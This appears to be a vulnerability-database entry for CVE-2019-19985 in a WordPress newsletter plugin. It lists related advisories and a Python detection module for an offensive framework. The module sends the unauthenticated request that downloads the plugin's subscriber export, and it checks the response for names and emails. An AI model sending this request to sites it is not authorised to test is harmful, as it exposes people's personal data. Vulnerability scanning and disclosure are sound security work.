WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval Detection
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| WordPress Email Subscribers & Newsletters 4.2.2 Plugin - Unauthenticated File Download Vulnerabi | 27 Jul 202000:00 | – | zdt | |
| CVE-2019-19985 | 17 Mar 202408:41 | – | circl | |
| WordPress Email Subscribers & Newsletters Unauthenticated File Download Vulnerability | 26 Dec 201900:00 | – | cnvd | |
| CVE-2019-19985 | 26 Dec 201902:25 | – | cve | |
| CVE-2019-19985 | 26 Dec 201902:25 | – | cvelist | |
| WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download | 26 Jul 202000:00 | – | exploitdb | |
| wordpress-exploits | 9 Oct 202605:42 | – | kitploit | |
| WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval | 12 Oct 202602:21 | – | nuclei | |
| CVE-2019-19985 | 26 Dec 201903:15 | – | nvd | |
| WordPress Email Subscribers Plugin < 4.2.3 Multiple Vulnerabilities | 6 Jan 202000:00 | – | openvas |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Email Subscribers & Newsletters plugin before 4."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval Detection',
'description': 'WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2019', 'wordpress', 'wp-plugin', 'edb', 'packetstorm', 'icegram', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.exploit-db.com/exploits/48698',
'https://wpvulndb.com/vulnerabilities/9946',
'https://www.wordfence.com/blog/2019/11/multiple-vulnerabilities-patched-in-email-subscribers-newsletters-plugin/',
'http://packetstormsecurity.com/files/158563/WordPress-Email-Subscribers-And-Newsletters-4.2.2-File-Disclosure.html',
'https://nvd.nist.gov/vuln/detail/CVE-2019-19985',
],
'cve': 'CVE-2019-19985',
}
def run(self):
r = self.http_request(method="GET", path='/wp-admin/admin.php?page=download_report&report=users&status=all', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('Name', 'Email', 'Status', 'Created On',)
header_any = ('Content-Disposition: attachment; filename=all-contacts.csv;',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval detected",
path='/wp-admin/admin.php?page=download_report&report=users&status=all',
)
return True
return False
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